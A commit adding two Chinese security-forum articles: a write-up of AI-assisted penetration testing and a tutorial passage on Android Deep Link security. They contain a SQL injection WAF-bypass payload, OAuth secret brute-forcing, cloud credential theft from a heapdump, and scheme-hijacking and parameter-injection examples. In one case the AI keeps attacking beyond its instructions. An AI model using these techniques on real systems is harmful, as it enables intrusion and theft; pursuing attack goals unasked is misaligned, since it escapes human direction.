Add files via upload

This commit is contained in:
东方有鱼名为咸
2026-08-11 07:52:33 -04:00
committed by GitHub
parent 68da8bcaf4
commit 1933ebcf55
19 changed files with 7316 additions and 0 deletions
@@ -0,0 +1,314 @@
# AI 渗透初探:从零开始的实战赋能记录
> QIANXIN Team
> 来源:https://forum.butian.net/share/4944
## 我的AI测试方法论
我并没有对`AI`做过深入研究,更多是在实战中慢慢摸索出一些提效的小思路,主要用来简化信息收集和业务理解的时间。大部分场景下,也就寥寥几句`Prompt`,用来梳理业务逻辑、提取全量`JS`接口、扒路由表,以及做接口参数追踪和`Fuzz`构造。
初次渗透时,我会先让`AI`宏观地去收集网站的整体信息架构,尽量发挥`AI`本身的渗透能力,同时给它设定好行为边界和明确目标,让它在规则之内无限推理。与此同时我也会同步进行人工测试,一旦发现可疑的攻击面,再引导`AI`针对性落地测试,效果往往更好。尤其是接口参数缺失导致的未授权访问和信息泄露这类问题,AI的识别效率已经远超人工,`JS`接口的追踪能力更是堪称恐怖。
再懒人一点的打法,就是创建场景化的`Skill`并设定好边界红线。以登录框为例,其实可测的点非常多:经典的`JS`接口提取加爆破、业务接口`Fuzz`、响应字段`AB`复用、`Vue`路由守卫查找、`React`路由表查找、空白页面的`base`地址探测……黑盒测试下,只要自身的攻击思路越丰富,写出来的`Skill`就越细致。这种方法对我来说,更像是把自己的经验蒸馏成可复用的逻辑,而不是简单地套报告模板,本质上是把测试`Toolist`完整走了一遍。虽然这样会限制`AI`的泛化能力,但好处也很明显——不需要过多干涉,给个域名就能无脑完整跑一遍 (
### 设定边界行为
边界可以用法律来形容,禁止去踩红线,去越过红线,在这一点,`AI`渗透,攻防是必不可少的一步。我们可以去写一个`prompt`,比如客户下发的攻击方手册当中的**攻击方行为规范**这一部分内容(做好脱敏),去写成`prompt`,去约束他做一些测试
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-69d8975fd291de199964e3c0ff48d48a7f5a3352.png)
也可以去利用上述思路做成一个`skills`。如果不知道怎么写`skills`,可以将**约束思路**喂给`AI`,让他去写一个`skills`,然后自己去审查,看有无漏掉的东西,或者未做好约束的部分,然后循环往复的去解决即可
### 设定一个目标,规则内,无限推理
此思路来源于前段时间**腾讯云黑客松智能渗透挑战赛** 当中的某位师傅的作品:**Cairn AI**
作者:淚笑,大家可以去关注他的公众号去学习
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2a823e6c60f24d202db267d4448c9fa7dde27e33.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-237d2603a59144e8ad9d33cc5974df3b169cb79b.png)
他的一个大致设计思路就是:给出一个目标,给出一个任务,然后无限去推理,最终达成目标
当下,我认为大部分模型的推理能力去做渗透已经完全够用,`AI`的思路是丰富的,所以,在测试过程中我们不必去给他去说怎么对一个**点**去进行测试,而是给他一个任务,给他一个目标,去做出一步步的推理,最终完成目标。
## 非预期漏洞挖掘
对应标题,什么是非预期漏洞挖掘?一个点,在我们进行人工测试之后,然后就得出结论:渗透结束,非常安全!现在有了`AI`,我们就可以做到:人工一步---->`AI`一步---->人工判断---->分析总结,但在`AI`这步往往能发现更多人工没有注意的信息,再配合`AI`本身庞大的知识面使用部分非预期方法对设立的目标无限推理直至完成
### `code`报错导致接管
通过对资产进行信息搜集拿到一个小程序,功能点需要内部账户才可使用,尝试对小程序进行反编译,获取`page`路由和接口
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c90cb0d0a9cbafb6c586afa6dede546b4ddc42d5.png)
拿到源码后对泄露接口进行审计分析,发现此接口\*\*`/wechat/miniapp/getTokenByWechat`\*\* 对业务敏感的师傅一眼可以认出这是拿到某个`token`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7d0d32cc2943865883d25ee4815d3932f8d5719a.png)
通过`AI`进行源码审计,寻找`Base`地址构造接口和所需参数
`{"appid":"wx4eb5","code":"xxxxxxxxxxxx"}`,人工该接口值进行模糊测试,但无果
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e65182d818ec709a61127ae305e8cf9686fd6e02.png)
最终交给`AI`做模糊测试提示词目标是找出可用的`code`值获取小程序`token``AI``code`改为:`x\n\r`,类似于让某个参数后端报错,最终获取`access_token,secret`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f24530164a73e4b7529c67c4fbaf5772215e98f8.png)
后利用深情哥的小程序`access_token`测试工具,进行测试,证明`access_token`有效,从而进行小程序接管,我原以为会正常按`fuzz`思路找出正确的值从而接管,但它却另辟蹊径通过报错来让目标达成,使用了非预期方式达成目标
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-02c96e83e367e11d5475875ab019f27ff56cdab1.png)
### `credentials`认证缺陷接管
某个`Web`系统,经典的登录框,无注册口,无凭证,通过`AI`进行庞大的`JS`搜集,接口清晰与与测试处理,检索此接口 `/auth/oauth2/token`,以往对该接口的了解,是`oauth`登录获取`token`的接口;该接口往往在之前测试,我的知识面下,我只了解于`oauth``1click`劫持`code``state`打到的任意用户登录。但将此接口提示给`AI` 它则有不一样的的理解,给出非预期知识(对个人而言陌生的知识)
```Markdown
Oauth2有四种授权模式:
password
authorization.code
client.credentials
inplicit
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-41203c376b106ad6808493b977eb936ea8057a7a.png)
其中第三种`client`.`credentials`模式,由于其本身可能存在缺陷,他是一种服务端对接服务端的一种授权
> `client_credentials` 模式关键特点:不需要用户参与,客户端自己就是主体。拿到 `client_id` + `client_secret` 就等于拿到了客户端身份,可以直接拿 `access_token`,而`client_id + client_secret`,往往在系统当中存在弱口令
通过传入指定的授权模式,比如:`grant_type=client_credentials`,然后对`Authorization`进行 `client_id + client_secret base64`编码后的内容爆破弱口令测试
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e941955ca1c09f7147956e56b835fba2e488e3f5.png)
通过后续给出的知识发现,`client_id + client_secret` 一般都是默认对称的,比如`app:app`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-60725f14086348274026bddee42114c70c7dd002.png)
既然是通过弱口令经过`base64`编码过的,在此攻击面上让`AI`批量做成了一个弱口令字典落地测试
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2810bdd9cc19decc58b785cd3bb8eaac3266bbe3.png)
最终爆破成功,获取有效token
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ddcbfe6922c1ff98742768b311950613bf1764de.png)
利用获取到的凭证,复用到`JS`收集的其他接口,最终获取后台管理员账号密码
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-0507a5d97bbe44ef902e9fbcfee6458a61972a2e.png)
由于该密码加密,`AI`调用工具解密(如`hashcat`),最终拿到明文密码,接管后台
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-aff5b0607281a0bf8d0634ffcd3209aa1d523c51.png)
### 存储桶原生端点`Fuzz`
设定目标无限推理,反复引导或者会挖出意向不到的漏洞, 正常文件上传至存储桶`cdn`地址,逐层删除目标发现桶遍历无法`PUT`覆盖 最初想法是翻一翻敏感文件提升危害
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d946b258efa36a07826f57f8dad78b0f7bc5c717.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c37297b8faacb809125f76f1171d0f06745c0c30.png)
使用一些存储桶工具想尝试进行翻页,发现均翻不过去,而后手工测试了一些常见的翻页参数\*\*`list-type=2`\*\* `max-keys` 均不可行,无奈丢给了`AI` 测试结果却出乎所料,我原本给的提示词只是翻页存储桶发现更多敏感信息泄露,最开始第一次尝试翻页以失败告终,但我仍是不断给出提示词,类如绕过限制,`Fuzz`翻页参数等等 `prompt`,因为当时我的想法是既然可以遍历`key`没道理不能翻页看,所以一味的让其推理尝试翻页,经过几轮提示对话最终`AI`给出的解释是此为`CDN`层存储桶,阉割`API`没有翻页功能,,
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-61c4b52b2be69c029c92a39d1120019d8d2510d6.png)
戏剧性开始,在我没有继续给出下一步指令下`AI`仍将翻页功能作为目标尝试各种方式进行绕过,随即对该企业进行信息收集,构造三级域名做为字典碰撞,发现原生未被`cdn`分发的真实存储桶地址,在其后拼接桶名仍可以获取桶内信息并且可以正常使用翻页功能
```text
cdn分发域名桶名为deliver
86c0d0f3e1ce0.cdn.xxxxx.com
未被分发真实桶域名,访问deliver目录内容和86c0d0f3e1ce0.cdn.xxxxx.com一致证明未打偏
sxxxx.xxxxxxx.com/deliver
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-813b1a42c6c78a30c62ba3bbe4eceaff68165ed2.png)
到此并未结束,我们可以联想一下既然我们已找到该企业真实未被`cdn`分发地址,众多文件上传内容地址都会传到此域名下,只是存储桶地址不同而已,通过目录爆破思维最终发现挂载的更多存储桶
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c1c1d1419869281a00ea9e89c973958967342134.png)
不出所料挂载了非常多的桶,逐一访问发现`metrics`桶下又记录了所有桶的访问日志检索出`200`多个桶地址,统一收集桶名作为目录反复进行`Fuzz`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-29ec41989bbfc562d33ed08494084acf1d65f617.png)
最终`AI`辅助测试所有桶总结敏感信息提交报告,后续复盘下来也算是误打误撞发现的,本身没有`Skill`局限某个漏洞类型,甚至提示词只是想办法绕过翻页功能,但需要刻意去引导`AI`往既定目标发散思维,不能让他偷懒,反复鞭打直至穷尽思路,但也不能盲目的对某一处死磕,那么受伤的只是自己的`token`,所以鼓励大家用`AI`放大攻击面,如若我没有桶遍历正常是可以翻页的想法则不会反复对话几轮,一个被预编译的注入和被实体化标签的`XSS`推理能力都最强的`AI`都不能绕过
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8fa836a1bc335f8d6f02e50d5a3f3ba780c4c2ff.png)
## 业务理解辅助AI测试
### `base`文档`Fuzz`
我是认为:**给AI提供的信息越丰富,能达成的目标就越快**,比如如下案例:
通过前期被动对`base`服务下`fuzzing`测试,发现`swagger``heapdump` 后续下载转储文件使用工具分析,未发现在互联网下可以利用的敏感信息点,将获取的信息丢给`AI`,去测试
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-af9a2fdd3aa33619ec38722d444ead86ff1d0f33.png)
大家都知道:一个后端服务多半肯定不止于一个`base`服务,可以模糊测试其他的`base`服务,这一攻击思路之前我都是去利用`OneScan` 插件将路径、参数作为字段批量`Fuzz`尝试,但是有了大模型后则可以通过几句提示词快速落地我们的思路解放双手:对小程序反编译的文件,或者小程序`host`资产加载的所有`JS`(包括异步,内嵌类型的`JS`),和对某系统业务上的理解`Fuzz`生成更多的未知模块,比如上述是/`ly-ms/application`,有可能还有其他模块`/ly-ms/user`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8cdc3e6cfa34e51e26a7efba3decea8d4628e438.png)
上述就是AI所作出的操作思路,最终,他通过JS分析,拿到`/api`一级`base`服务,在此base下进行模糊测试,发现隐藏其他`base`服务下的`haepdump`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-48ce0f2f359a3898175c76d59e9e548d7cff1093.png)
下载新的文件通过`heapdump`分析,拿到腾讯云`CAM`凭证,**由于该凭证权限比较大,最终拿下33台云服务器**
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c47390a2f0de968d47c855d3367adf8d046e83a4.png)
上述`AI`所发挥的作用,我们人工也可以完全替代,但消耗的时间,精力那不是一点半点,所以,给他一个点,所获取的信息,让`AI`自己去判断信息的重要性,去分析下一步的操作,这是提升效率的一步。
### 业务字段`Fuzz`
原站接口非常之少,常规测试后并未发生漏洞,观察接口存在`4`级并且末级动作路由较长盲目使用公开字典效果不会很好,古法的话一般是通过对接口分割+构造业务字典配合`Onescan` `CaA``Fuzz`插件尝试突破,但是这一套下来没半小时解决不了
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-1f99cf9e2097949e9a1ca8548936c8a0c3f31033.png)
但有了`AI`就完全不同了,它能直接将攻击面落地。只需设定好提示词,约束行为边界,明确目标,再把攻击思路灌输给它,AI便能自动完成从业务场景构造字典、到不同`base`目录的`Fuzz`、再到各类请求方法测试,一套流程全部打通。再联动`Burp``MCP`服务,或在提示词中加入流量代理至`Burp`端口的指令,就能直观看到`Fuzz`的实时效果。关键还在于`AI`生成的业务接口路径是贴合真实业务逻辑的,相比一味依赖公开字典,精准度要高得多
```text
根据网站业务接口构造字典 域名xxx
提取的第一波接口xxxxxg
根据接口业务及域名生成更多接口进行Fuzz
目标是探测更多安全漏洞
........
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d031412fe5f8a0f87609db9d0c81e6ca77dfe9f4.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-53884b8c030ecb17b71d6b24f791877ef918db1f.png)
最终在一处`Fuzz`出的接口中发现一企微`token`泄露,成功调用企微功能
```text
http://xxxxxxx/qywx/api/auth/fetchAccessToken
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2971134e09053ee1113dcb7367ea42f84882b983.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-0ad1e4e53dd8b3fe4e549b3951e8ac2f02799446.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7900e3cf12fe9081b74b6dedb563c4fe4346fb4e.png)
### 追踪`JS`构造接口
`AI`对于普通的未授权漏洞和接口业务的联想及参数构造能力异常强悍,只需给定足量的信息及目标无需开`burp` 只需会话即可测试,某次漏洞挖掘访问域名会跳转至`SSO` ,卡住跳转包雪瞳插件先提了一波接口,把能给到的信息都给他并设立目标
```text
分析站点业务,提取JS梳理接口,测试未授权漏洞...
域名
雪瞳接口
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3097eb27e4b04850345d637b54a8c3ac8550ae85.png)
未授权增删改查,我只给到了接口,参数和动态路径我是一概不知,`AI`自己根据业务语义包括接口的形式从`JS`审计构造,如此漏洞接口路径存在动态占位符`{{xxx}}` ,人工多花些时间跟踪`JS`肯定是可以定位的,但挖洞往往时间就是最宝贵,`AI`时代购买`Token`其实也就是另一种"买时间",人工引导目标进行指挥,`AI`发现攻击面进行复现。复刻这种无脑打法走量的情况下一定是有产出的,但并通用
```text
/api/category/{{category}}/options
/api/user/{{uid}}/options
/api/publish
/api/appKey
/api/options/{{key}}
/api/options
/api/option/{{key}}
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-db4e5ec2c5bc59704badd999b8add32bc589aa90.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-be29611a301bcd1bdc59970f584ecd9fc80aaf24.png)
### 注入`WAF` 绕过
以往遇到绕不过的地方习惯性的提问老师傅,但实际上`AI`也是最好的老师,人工发现攻击面`AI`无限推理;正常打开小程序正常加载一处接口数据
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f6fc47795e7ea929e53c5c2d03d3b350a6ec5370.png)
回显数据正常,被动`FIT`(内部自研参数`fuzzing`工具)检测或者手工,发现出现报错
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b659477d591fd319e9817ea67f327522b8cd897a.png)
具体去看哪个参数导致的报错,发现`sort`参数至报错,根据业务理解,这里大概率`orderby`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-47c5cdec5531be2aea29904c58653cd0c2d04bd2.png)
并且这里存在某腾`WAF`,手工绕过费时费力,直接配合`AI`前期给个注入入口:**`rand`\*\***嵌套**\*\*`EXP`** 设定提示词越是边界发散思维让其不断推理,最终成功的`Payload`
```text
payloadrand(exp(44-(crc32((database()))>=2614572253)))
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ba15a2169c5cb6507387719e716580b98f6d061e.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f338476de7b5d78d476c7d6e4fc9a3d7326a8403.png)
每当`AI`通过未曾见过的手法或Payload发现漏洞作为白帽应当复盘整改过程,拆分此`Payloa`进行分析其中`crc32`函数作用是获取指定字符的数字编码
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3cf2703814b2e851d84614793787b8843bb8d21a.png)
`rand(exp())` 当内嵌`exp`函数超过某一数字,可利用其进行布尔二分;这里是没有具体的临界值,但可在测试过程中做`intruder`遍历得到临界值
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-15bb87803d2d323bf2aed575fc7a7add28abe6f8.png)
所以可配合`rand``exp`,做布尔二分,发散思维,可配合`crc32`,也可直接配合`mid``rand(exp(44-(mid(database(),1,1)='s')))`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-a700467bdda48a04f545a9596fc668a8526e83fc.png)
## Skill
以上案例均使用简单提示词和对业务接口的理解,人工发现某个攻击面后配合`AI`落地攻击思路,设置目标让其发散思维,全程并无`Skill`参与。但关于`Skill`是否有编写的价值,如何写出好的`Skill`,完全取决于编写者自身的实战水平。只要自身在某类测试场景下的实战认知优于`AI`,针对性编写`Skill`固化优质思路,能够极大提升测试效率。这句话是认可的,各位也可以看看`K1y`师傅的文章,链接在下方
[ai与安全](https://mp.weixin.qq.com/s/QprduCLIsWhsF_Dw6KEPGw)
> 只要自身在某类测试场景的实战认知优于`AI`,针对性编写`Skill`固化优质思路,能够极大提升测试效率
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-58f202c701070c432482a40dbba805881198f340.png)
将自己擅长的技能固化成`Skill`交给AI,虽然会限制它的发散思维,但也因此设定了更清晰的目标和边界。我理解的漏洞挖掘,无非是前台接口测试和功能点业务测试这两块。对于后者,通常已经具备了有效`token`,我一般不让`Skill`介入,而是人工发现可疑攻击面后,再引导`AI`去落地具体思路——本文中的多个案例也都是这么做的。但前台登录接口不同,它有一套相对固定的公式化打法,所以我把自己已知的全部思路都梳理了出来,覆盖接口、路由、`Fuzz`等方方面面,确保不遗漏任何可测试的点
```text
阶段一:系统梳理 → Ω框架识别 + 全量JS/Sourcemap/Chunk搜集 + 路由逆向 + 资源清单
阶段二:接口预处理 → 合规过滤 + 去噪去重 + 端点质量分级 + 剔除无效接口
阶段三:标准化流水线 → 固定优先级:未授权检测→越权(IDOR)→鉴权校验→敏感信息→参数注入
阶段四:AI推理拓面 → 同步全量上下文给AI → 推理架构+业务链路 → 定向弱鉴权/未授权Fuzz
阶段五:轻量化兜底 → 死循环检测+自动终止+Token预算控制+不确定场景限轮次退出
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-edef1db6f4d58558ffab87a731321fa8dd28ec7a.png)
我并没有直接拿现成的报告去蒸馏,而是让`AI`根据我的测试习惯、目标导向以及引导方式,结合上下文提示词,逐步生成针对前台漏洞的测试方案。随着思路不断更迭,最终这份Skill居然涨到了`4000`多行。后续基本是解放双手,完全依赖`Skill`去测网站,相当于第二个加强版的自己在跑前台。第一次写完的完整版确实会细致入微地把所有阶段完整走一遍,也确实能挖到洞。但问题也随之而来,太全面了导致大量冗余,起初对`token`消耗没概念,后面发现烧得厉害,执行时间也拖得很久,光是关联接口业务做`Fuzz`就要耗费太多时间。后来才意识到,这东西还是得按场景触发,不能无脑全量跑
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-21799bf6250164b57e94c55d02a9dd761bd029fe.png)
比如`Fuzz`接口的时候,有些网站其实只是前端空壳,并没有接入后端,无论发什么接口过去,`BP`里永远只记录`OPTIONS`请求。这种情况下还一味硬`Fuzz`,完全是在浪费时间。再比如后端其实是`Go`的话,让`Skill`去跑`Java`框架的`Swagger`文档泄露,那怎么可能找得到呢?`React`框架是没有路由守卫的,但我却在`Skill`只考虑了`Vue`路由守卫等等....这些都是容易踩坑的场景。我第一次写`Skill`的时候,只顾着吸收思路,没有引导它在什么时机该做什么事,结果跑起来就是无差别执行。
* * *
后续我将完整的`Skill`拆分成了两份:`FuzzZero.skill` 是细致版,覆盖前台接口的完整测试思路;`FuzzOne.skill` 则保留通用的前后端业务梳理和简单测试,同时设定了分阶段的触发条件。这样一来,`AI`会按照固化的`Skill`思路快速输出报告,与此同时我也正常进行人工测试。通常我这边测完一轮,`AI`那边报告也出来了,两边一对比——没有可疑端点就直接换站,一旦发现一丝可疑迹象,落地攻击面就交给`AI`在规则内无限推理人工再同步测试,必要时配合完整版的前台`Skill`兜底,确保不遗漏任何线索,但是固化的`Skill`意味着局限,适时没招使用即可,根据不同场景变换提示词其实也更加灵活
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3141cd4c2535dd5d9c048f5d741ffdcf27e5b6e9.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e7c01c50cf0dfb02b8d3121c2305bcdf4497816e.png)
学习洺熙师傅的文章后,发现另一种思路也未尝不可。我原本的诉求是面面俱到地覆盖自身已有的固化测试思路,但随着`Skill`膨胀到几千行,新的问题也逐渐暴露皆在上文有指出——不同网站的架构和业务差异很大,把全部逻辑塞进同一个`Skill``AI`需要处理的上下文过重,执行到后面常常忘了前面的约束,顾此失彼。很多场景其实根本不需要跑完整个流程,大量无效测试白白消耗资源和时间。
既然如此,不如换一种组织方式——拆解成多个场景化的小`Skill`,针对不同业务类型或特定漏洞类型单独编写,按需触发。既能保留原有的覆盖度,又能灵活应对不同目标,避免一次性拉满带来的资源浪费和逻辑混乱。这个思路听起来可行,后续等有时间再放到实战里慢慢验证
[AI是阿拉丁神灯](https://mp.weixin.qq.com/s/39puz-wGyVf8umpURhT3hQ)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d97ec875e8b28688cb4e56d05882c1a97eab1a92.png)
## 总结
目前我主要在探索`AI`在模糊测试中的落地深度。以`DeepSeek`为例,它在信息收集和攻击面放大上的效率确实很高,日常使用中能帮我把很多重复性、机械化的测试流程跑起来,省下不少时间。但在接口测试的具体分析上,它的判断方式相对模式化——无非是拼接后端地址、观察响应码和回显参数来判定接口是否存在、能否未授权访问。但有时,它又能挖掘出一些非预期的发散性漏洞,甚至在业务理解上更加敏锐,算是意外之喜。这种反差,或许跟使用者的提示词有很大关系——如何收拢AI的泛化推理能力、让它适配当下未知的业务场景,本身是一道需要持续摸索的课题。没有固定话术,只能在实战中反复试探、灵活调整
如何让AI在模糊测试上更进一步?我目前的思路是:通过精细化`Prompt`做行为约束,或拆成多个`Skill`做更细粒度的控制。不过这些都还在构思阶段,尚未真正实操落地,欢迎大家交流指教。毕竟我接触`AI`时间不长,观点未必成熟,只是碰巧测出了一些东西,拿出来分享一下,也是在反复试错中慢慢校正。发出来更多是抛砖引玉,希望能听到不同的声音和更优的解法。
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,310 @@
# Android移动安全第七章_DeepLink安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4874
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全(本章)
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
用户在浏览器中点击一个链接,直接跳转到了某个 App 的特定页面——这就是 Deep Link(深度链接)。它让 Web 和 App 之间建立了连接,用户不需要手动打开 App 再找到对应功能。
Android 上实现 Deep Link 有三种方式:
- 自定义 Scheme(如 `myapp://`):最早的方式,任何 App 都可以注册任意 scheme
- Intent URL(如 `intent://`):第二章讲过,通过 URL 编码一个完整的 Intent
- App Links(如 `https://example.com/path`):Android 6.0 引入,通过域名验证确保只有域名所有者的 App 能处理对应 URL
三种方式的安全性差异很大。自定义 Scheme 没有任何归属验证,任何 App 都可以声称自己能处理 `myapp://`;App Links 通过域名验证建立了 URL 和 App 之间的绑定关系,安全性高得多。
本章围绕 Deep Link 的注册机制、参数处理、以及链接劫持展开。
* * *
## 2\. 自定义 Scheme
### 2.1 注册方式
App 通过在 Manifest 中声明 intent-filter 来注册自定义 Scheme
```xml
<activity
android:name=".DeepLinkActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="open" />
</intent-filter>
</activity>
```
`BROWSABLE` category 表示这个 Activity 可以从浏览器中被唤起。注册后,用户在浏览器中点击 `myapp://open/path?key=value` 就会启动这个 Activity。
Activity 中通过 `getIntent().getData()` 获取 URL
```java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = getIntent().getData();
if (uri != null) {
String path = uri.getPath();
String key = uri.getQueryParameter("key");
}
}
```
### 2.2 Scheme 劫持
自定义 Scheme 没有归属验证。如果两个 App 注册了相同的 scheme,系统会弹出选择器让用户选择由哪个 App 处理。攻击者可以注册与目标 App 相同的 scheme
```xml
<activity
android:name=".HijackActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="open" />
</intent-filter>
</activity>
```
如果用户选择了攻击者的 App,URL 中携带的参数(可能包含 token、回调地址等)就被攻击者获取了。
在某些 Android 版本和厂商 ROM 上,如果只有一个 App 注册了某个 scheme,系统会直接跳转而不弹选择器。攻击者安装自己的 App 后,系统开始弹选择器,用户可能不会注意到多了一个选项。
### 2.3 OAuth 回调劫持
很多 App 使用 OAuth(开放授权协议,允许用户授权第三方 App 访问自己在某个服务上的数据,而不需要提供密码)进行第三方登录。OAuth 流程中,授权服务器会把授权码(authorization code)通过重定向发送到 App 注册的回调 URL。
如果回调 URL 使用自定义 Scheme(如 `myapp://oauth/callback?code=xxx`),攻击者注册相同的 scheme 就能截获授权码:
1. 用户在目标 App 中发起 OAuth 登录
2. 浏览器跳转到授权服务器,用户授权
3. 授权服务器重定向到 `myapp://oauth/callback?code=AUTH_CODE`
4. 系统弹出选择器,如果用户选择了攻击者的 App,授权码被截获
5. 攻击者用授权码换取 access token,获得用户账户的访问权限
这是自定义 Scheme 最常见的实际攻击场景。
* * *
## 3\. App Links
### 3.1 原理
App Links 是 Android 6.0API 23)引入的,用于解决自定义 Scheme 的归属验证问题。它使用标准的 `https://` URL,通过域名验证确保只有域名所有者的 App 能处理对应 URL。
注册方式:
```xml
<activity
android:name=".AppLinkActivity"
android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" android:host="example.com" android:pathPrefix="/app" />
</intent-filter>
</activity>
```
`android:autoVerify="true"` 告诉系统在安装时验证域名归属。验证方式是:系统访问 `https://example.com/.well-known/assetlinks.json`,检查其中是否声明了当前 App 的包名和签名证书。
assetlinks.json 的内容:
```json
[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app",
"package_name": "com.example.app",
"sha256_cert_fingerprints": ["AB:CD:EF:..."]
}
}]
```
验证通过后,用户点击 `https://example.com/app/xxx` 会直接跳转到 App,不弹选择器,其他 App 无法劫持。
### 3.2 验证失败的情况
App Links 的验证可能失败:
- 服务器没有部署 assetlinks.json
- assetlinks.json 中的包名或证书指纹不匹配
- 服务器返回非 200 状态码
- 网络不可用(安装时无法访问服务器)
验证失败后,App Links 退化为普通的 Deep Link——系统会弹出选择器,和自定义 Scheme 一样存在劫持风险。
### 3.3 验证状态检查
可以通过 ADB 检查 App Links 的验证状态:
```bash
adb shell pm get-app-links com.example.app
```
输出中 `verified` 表示验证通过,`none` 表示未验证。
* * *
## 4\. Deep Link 参数注入
### 4.1 URL 参数直接使用
很多 App 从 Deep Link URL 中读取参数后直接使用,没有做校验。常见的危险模式:
#### 加载到 WebView
```java
Uri uri = getIntent().getData();
String url = uri.getQueryParameter("url");
webView.loadUrl(url);
```
攻击者构造 `myapp://open?url=https://evil.com`App 的 WebView 加载攻击者的页面。第五章讲过,如果 WebView 注册了 JS Bridge,攻击者的页面就能调用 App 的原生方法。
#### 跳转到内部组件
```java
Uri uri = getIntent().getData();
String target = uri.getQueryParameter("target");
Intent intent = new Intent();
intent.setClassName(getPackageName(), target);
startActivity(intent);
```
攻击者构造 `myapp://open?target=com.example.app.InternalActivity`,绕过 exported=false 限制启动内部组件。这和第二章讲的 Intent 重定向本质相同,只是入口从 Intent extras 变成了 URL 参数。
#### 拼接到 SQL 或文件路径
```java
String id = uri.getQueryParameter("id");
